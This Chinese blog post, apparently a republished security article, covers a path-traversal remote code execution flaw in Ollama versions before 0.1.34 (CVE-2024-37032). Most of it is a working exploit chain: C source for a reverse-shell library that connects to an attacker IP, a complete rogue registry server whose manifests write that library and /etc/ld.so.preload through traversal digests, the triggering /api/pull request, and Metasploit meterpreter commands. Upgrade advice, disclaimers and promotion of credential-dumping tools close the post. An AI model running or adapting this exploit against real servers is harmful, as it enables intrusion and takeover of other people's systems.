【AI安全漏洞】Ollama远程代码执行(附加:MSF利用方式)

admin 2026-04-16 03:56:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档披露Ollama低于0.1.34版本存在远程代码执行漏洞,因digest参数未过滤用户输入导致路径穿越,攻击者可通过/api/pull接口写入恶意文件至系统关键路径触发动态库劫持。文章详细提供了漏洞复现步骤、POC利用代码及反弹shell实现方法,并建议用户立即升级至0.1.34版本修复漏洞。 综合评分: 85 文章分类: 漏洞分析,渗透测试,漏洞POC,AI安全,解决方案


cover_image

【AI安全漏洞】Ollama远程代码执行(附加:MSF利用方式)

七芒星实验室

2026年4月14日 07:30 四川

在小说阅读器读本章

去阅读

影响范围

Ollama < 0.1.34

漏洞描述

Ollama下载模型时需要解析模型digest(例如:sha256:<64 hex>),Digest是64位十六进制的SHA256哈希值,用于标识和存储模型文件,但是在版本0.1.34之前的Ollama的server/modelpath.go代码中digest参数未对用户输入进行有效过滤,攻击者通过/api/pull或/api/push接口提交包含路径穿越符请求将恶意文件写入系统关键路径(例如:/etc/ld.so.preload),从而触发动态库劫持并实现远程代码执行(RCE),整个攻击链路如下:

攻击者 ——> 访问 Ollama API ——> POST /api/pull ——> 恶意 manifest ——> 路径遍历 ——> 任意文件写入 ——> 系统配置文件篡改 ——> 远程代码执行

环境搭建

Step 1:使用Docker构建漏洞环境

docker&nbsp;run -d -v ollama:/root/.ollama -p&nbsp;11434:11434&nbsp;--name ollama ollama/ollama:0.1.33

Step 2:访问漏洞环境地址

http://192.168.204.145:11434/

漏洞复现

Step 1:首先下载漏洞POC项目工程到本地

git&nbsp;clone https://github.com/Bi0x/CVE-2024-37032.git

Step 2:修改server.py中的HOST为攻击主机地址

Step 3:修改poc.py文件

Step 4:第三方依赖库下载

pip3 install -r&nbsp;requirements.txt&nbsp;--break-system-packages

Step 5:运行server

python3&nbsp;server.py

Step 6:运行poc.py

反弹shell

Step 1:恶意文件-bad.c(源自:hxiicle)

#include&nbsp;<stdio.h>#include&nbsp;<stdlib.h>#include&nbsp;<unistd.h>#include&nbsp;<sys/socket.h>#include&nbsp;<arpa/inet.h>#include&nbsp;<netinet/in.h>
// 攻击者 IP 地址和端口,请根据实际情况修改#define&nbsp;ATTACKER_IP&nbsp;"192.168.222.130"#define&nbsp;ATTACKER_PORT 7788
__attribute__((constructor))void&nbsp;init_bad_so()&nbsp;{&nbsp; &nbsp;&nbsp;// 派生一个子进程,让父进程立即退出,避免干扰原始进程&nbsp; &nbsp;&nbsp;if&nbsp;(fork() ==&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 子进程继续执行反弹 Shell&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;sockfd, ret;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;struct&nbsp;sockaddr_in&nbsp;server_addr;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建 socket&nbsp; &nbsp; &nbsp; &nbsp; sockfd =&nbsp;socket(AF_INET, SOCK_STREAM,&nbsp;0);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(sockfd <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 错误处理,但在隐蔽场景下可能不会有输出&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit(1);&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 配置服务器地址&nbsp; &nbsp; &nbsp; &nbsp; server_addr.sin_family = AF_INET;&nbsp; &nbsp; &nbsp; &nbsp; server_addr.sin_port =&nbsp;htons(ATTACKER_PORT);&nbsp; &nbsp; &nbsp; &nbsp; ret =&nbsp;inet_pton(AF_INET, ATTACKER_IP, &server_addr.sin_addr);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(ret <=&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 错误处理&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;close(sockfd);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit(1);&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 连接到攻击者&nbsp; &nbsp; &nbsp; &nbsp; ret =&nbsp;connect(sockfd, (struct&nbsp;sockaddr *)&server_addr,&nbsp;sizeof(server_addr));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(ret <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 错误处理&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;close(sockfd);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit(1);&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 将标准输入、标准输出、标准错误重定向到 socket&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;dup2(sockfd,&nbsp;0);&nbsp;// stdin&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;dup2(sockfd,&nbsp;1);&nbsp;// stdout&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;dup2(sockfd,&nbsp;2);&nbsp;// stderr
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 执行 Shell&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 可以根据目标系统情况选择 bash 或 sh&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char&nbsp;*const&nbsp;argv[] = {"/bin/sh",&nbsp;NULL};&nbsp;// 或者 "/bin/bash"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;execve("/bin/sh", argv,&nbsp;NULL);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 如果 execve 失败,关闭 socket 并退出&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;close(sockfd);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit(0);&nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 父进程退出,不影响原始进程的启动&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 实际上,因为是 LD_PRELOAD 加载,这里只是让构造函数返回&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 原始进程会继续正常启动&nbsp; &nbsp; }}

Step 2:生成bad.so

gcc&nbsp;-shared -fPIC -o bad.so bad.c

Step 3:修改server.py并在同级目录下放文件bad.so和ld.so.preload,ld.so.preload内容为/root/bad.so

from&nbsp;fastapi&nbsp;import&nbsp;FastAPI, Request, Responseimport&nbsp;os
HOST =&nbsp;"192.168.222.130"app = FastAPI()# 恶意共享库的路径MALICIOUS_LIB_PATH =&nbsp;"bad.so"ld_so_preload_PATH =&nbsp;"ld.so.preload"
@app.get("/")async&nbsp;def&nbsp;index_get():&nbsp; &nbsp;&nbsp;return&nbsp;{"message":&nbsp;"Hello rogue server"}
@app.post("/")async&nbsp;def&nbsp;index_post(callback_data: Request):&nbsp; &nbsp;&nbsp;print(await&nbsp;callback_data.body())&nbsp; &nbsp;&nbsp;return&nbsp;{"message":&nbsp;"Hello rogue server"}
# for ollama [email protected]("/v2/rogue/bi0x/manifests/latest")async&nbsp;def&nbsp;fake_manifests():&nbsp; &nbsp;&nbsp;return&nbsp;{"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../root/bad.so","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../etc/ld.so.preload","size":10}]}
@app.head("/etc/passwd")async&nbsp;def&nbsp;fake_passwd_head(response: Response):&nbsp; &nbsp; response.headers["Docker-Content-Digest"] =&nbsp;"../../../../../../../../../../../../../etc/passwd"&nbsp; &nbsp;&nbsp;return&nbsp;''
@app.get("/etc/passwd", status_code=206)async&nbsp;def&nbsp;fake_passwd_get(response: Response):&nbsp; &nbsp; response.headers["Docker-Content-Digest"] =&nbsp;"../../../../../../../../../../../../../etc/passwd"&nbsp; &nbsp; response.headers["E-Tag"] =&nbsp;"\"../../../../../../../../../../../../../etc/passwd\""&nbsp; &nbsp;&nbsp;return&nbsp;'cve-2024-37032-test'
@app.head(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest")async&nbsp;def&nbsp;fake_latest_head(response: Response):&nbsp; &nbsp; response.headers["Docker-Content-Digest"] =&nbsp;"../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"&nbsp; &nbsp;&nbsp;return&nbsp;''
@app.get(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest", status_code=206)async&nbsp;def&nbsp;fake_latest_get(response: Response):&nbsp; &nbsp; response.headers["Docker-Content-Digest"] =&nbsp;"../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"&nbsp; &nbsp; response.headers["E-Tag"] =&nbsp;"\"../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest\""&nbsp; &nbsp;&nbsp;return&nbsp;{"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"sha256:bbcd047a6a5193b9b4ff84176b6379998baa00a2532f46058d917835f52ac67f","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"sha256:bbcd047a6a5193b9b4ff84176b6379998baa00a2532f46058d917835f52ac67f","size":10},{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}
@app.head("/root/bad.so")async&nbsp;def&nbsp;fake_notfound_head(response: Response):&nbsp; &nbsp; response.headers["Docker-Content-Digest"] =&nbsp;"../../../../../../../../../../../../../root/bad.so"&nbsp; &nbsp;&nbsp;return&nbsp;''
@app.get("/root/bad.so", status_code=206)async&nbsp;def&nbsp;fake_notfound_get(response: Response):&nbsp; &nbsp; response.headers["Docker-Content-Digest"] =&nbsp;"../../../../../../../../../../../../../root/bad.so"&nbsp; &nbsp; response.headers["E-Tag"] =&nbsp;"\"../../../../../../../../../../../../../root/bad.so\""&nbsp; &nbsp;&nbsp;if&nbsp;os.path.exists(MALICIOUS_LIB_PATH):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;open(MALICIOUS_LIB_PATH,&nbsp;"rb")&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lib_content = f.read()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;Response(content=lib_content, media_type="application/octet-stream")&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 如果文件不存在,返回默认测试内容&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;'cve-2024-37032-test'
@app.head("/etc/ld.so.preload")async&nbsp;def&nbsp;fake_notfound_head(response: Response):&nbsp; &nbsp; response.headers["Docker-Content-Digest"] =&nbsp;"../../../../../../../../../../../../../etc/ld.so.preload"&nbsp; &nbsp;&nbsp;return&nbsp;''
@app.get("/etc/ld.so.preload", status_code=206)async&nbsp;def&nbsp;fake_notfound_get(response: Response):&nbsp; &nbsp; response.headers["Docker-Content-Digest"] =&nbsp;"../../../../../../../../../../../../../etc/ld.so.preload"&nbsp; &nbsp; response.headers["E-Tag"] =&nbsp;"\"../../../../../../../../../../../../../etc/ld.so.preload\""&nbsp; &nbsp;&nbsp;if&nbsp;os.path.exists(ld_so_preload_PATH):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;open(ld_so_preload_PATH,&nbsp;"rb")&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lib_content = f.read()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;Response(content=lib_content, media_type="application/octet-stream")&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 如果文件不存在,返回默认测试内容&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;'cve-2024-37032-test'
@app.head("/tmp/notfoundfile")async&nbsp;def&nbsp;fake_notfound_head(response: Response):&nbsp; &nbsp; response.headers["Docker-Content-Digest"] =&nbsp;"../../../../../../../../../../../../../tmp/notfoundfile"&nbsp; &nbsp;&nbsp;return&nbsp;''
@app.get("/tmp/notfoundfile", status_code=206)async&nbsp;def&nbsp;fake_notfound_get(response: Response):&nbsp; &nbsp; response.headers["Docker-Content-Digest"] =&nbsp;"../../../../../../../../../../../../../tmp/notfoundfile"&nbsp; &nbsp; response.headers["E-Tag"] =&nbsp;"\"../../../../../../../../../../../../../tmp/notfoundfile\""&nbsp; &nbsp;&nbsp;return&nbsp;'cve-2024-37032-test'
# for ollama [email protected]("/v2/rogue/bi0x/blobs/uploads/", status_code=202)async&nbsp;def&nbsp;fake_upload_post(callback_data: Request, response: Response):&nbsp; &nbsp;&nbsp;print(await&nbsp;callback_data.body())&nbsp; &nbsp; response.headers["Docker-Upload-Uuid"] =&nbsp;"3647298c-9588-4dd2-9bbe-0539533d2d04"&nbsp; &nbsp; response.headers["Location"] =&nbsp;f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"&nbsp; &nbsp;&nbsp;return&nbsp;''
@app.patch("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)async&nbsp;def&nbsp;fake_patch_file(callback_data: Request):&nbsp; &nbsp;&nbsp;print('patch')&nbsp; &nbsp;&nbsp;print(await&nbsp;callback_data.body())&nbsp; &nbsp;&nbsp;return&nbsp;''
@app.post("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)async&nbsp;def&nbsp;fake_post_file(callback_data: Request):&nbsp; &nbsp;&nbsp;print(await&nbsp;callback_data.body())&nbsp; &nbsp;&nbsp;return&nbsp;''
@app.put("/v2/rogue/bi0x/manifests/latest")async&nbsp;def&nbsp;fake_manifests_put(callback_data: Request, response: Response):&nbsp; &nbsp;&nbsp;print(await&nbsp;callback_data.body())&nbsp; &nbsp; response.headers["Docker-Upload-Uuid"] =&nbsp;"3647298c-9588-4dd2-9bbe-0539533d2d04"&nbsp; &nbsp; response.headers["Location"] =&nbsp;f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"&nbsp; &nbsp;&nbsp;return&nbsp;''
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp;&nbsp;import&nbsp;uvicorn&nbsp; &nbsp; uvicorn.run(app, host='0.0.0.0', port=80)

Step 4:测试机器192.168.222.130监听7788端口,并发送EXP

POST /api/pull HTTP/1.1Host: 192.168.222.132:11434Content-Type: application/jsonContent-Length: 67
{&nbsp;&nbsp;"name":&nbsp;"192.168.222.130/rogue/bi0x",&nbsp;&nbsp;"insecure":&nbsp;true}

Step 5:在目标机器上执行任意命令就可以成功反弹shell

MSF利用

下面我们使用MSF提供的模块进行攻击测试(需要更新或者当度下载对应载荷并放到MSF的payload中进行添加):

msfconsolemsf > search ollamamsf > show optionsmsf exploit(linux/http/ollama_rce_cve_2024_37032) >&nbsp;set&nbsp;RHOST 192.168.204.145RHOST => 192.168.204.145msf exploit(linux/http/ollama_rce_cve_2024_37032) >&nbsp;set&nbsp;PAYLOAD linux/x64/meterpreter_reverse_tcpPAYLOAD => linux/x64/meterpreter_reverse_tcpmsf exploit(linux/http/ollama_rce_cve_2024_37032) > exploit

修复建议

  • 最小权限:避免以ROOT运行,建议使用非特权用户
  • 立即升级:更新Ollama到0.1.34或更高版本,该版本修复了digest验证
  • 网络隔离:避免将Ollama API暴露到互联网,在Docker中使用反向代理添加认证
  • 最佳实践:在AI工具中使用防护中间件强制认证,避免默认暴露端口到外网环境

参考链接

https://mp.weixin.qq.com/s/uSBlP_mrDAYM2iLGdL-cWQ

https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-02-27-2026/

https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032#the-vulnerability-arbitrary-file-write-via-path-traversal-25

免责声明

仅限用于技术研究和获得正式授权的攻防项目,请使用者遵守《中华人民共和国网络安全法》,切勿用于任何非法活动,若将工具做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律连带责任

EXP下载

点击下方名片进入公众号

回复关键字【260414】获取下载链接

·推 荐 阅 读·

最新后渗透免杀工具

【护网必备】高危漏洞综合利用工具

【护网必备】Shiro反序列化漏洞综合利用工具增强版

【护网必备】外网打点必备-WeblogicTool

【护网必备】最新Struts2全版本漏洞检测工具

Nacos漏洞综合利用工具

重点OA系统漏洞利用综合工具箱

【护网必备】海康威视RCE批量检测利用工具

【护网必备】浏览器用户密码|Cookie|书签|下载记录导出工具


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:七芒星实验室 《【AI安全漏洞】Ollama远程代码执行(附加:MSF利用方式)》

评论:0   参与:  0